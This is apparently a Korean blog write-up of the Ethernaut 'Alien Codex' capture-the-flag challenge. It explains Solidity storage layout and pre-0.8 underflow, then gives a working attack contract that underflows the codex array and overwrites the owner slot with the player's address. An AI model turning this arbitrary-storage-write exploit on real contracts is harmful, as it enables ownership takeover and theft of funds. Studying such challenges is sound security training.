[ethernaut] Alien Codex

wooz3k.eth·2023년 1월 8일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

이 문제는 Ownable 컨트렉트를 상속받는데 Ownable 컨트렉트에 존재하는 owner 변수를 player의 주소로 덮어씌워야 하는 문제이다.

필요 개념

  • 상속을 받을 경우 부모 컨트렉트에 존재하는 변수가 storage slot 가장 앞 부터 채워짐.
  • solidity 0.8 이전에는 over/under flow check를 진행하지 않음.
  • 동적 배열은 할당된 storage slot에 길이가 저장되고, 실제 데이터의 slot은 keccak256(dynamic_array_slot_number) + n 에 저장됨.

위 내용들을 알고 있다면 문제를 쉽게 풀 수 있다.

시나리오

  • make_contact() 함수를 호출하여 contacted를 통과할 수 있게 만든다.
  • retract() 함수를 호출하여 동적 배열의 크기를 2**256-1 만큼 늘린다.
  • revise(uint256, bytes32) 함수로 배열 인덱스 어디든 접근이 가능한데 storage의 저장되는 실제 데이터 슬롯은 keccak256(0x1) 이기 때문에 storage slot의 개수를 한 칸 넘어 owner가 저장된 0번 슬롯에 player 주소를 저장시킨다.

위 시나리오를 페이로드로 작성한 것이 다음과 같은 컨트렉트이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

contract attack {
    AlienCodex public target = AlienCodex(0x87C048726f7cEA44019af4A677e2532A726E31fc);

    function atk() public
    {
        target.make_contact();
        target.retract();
        target.revise(uint256(-1) - uint256(keccak256(abi.encode(0x1))) + 1, 0x000000000000000000000000d63f66B0C0ccE2f3906CF98128dD7eF566922204);
    }
}
profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글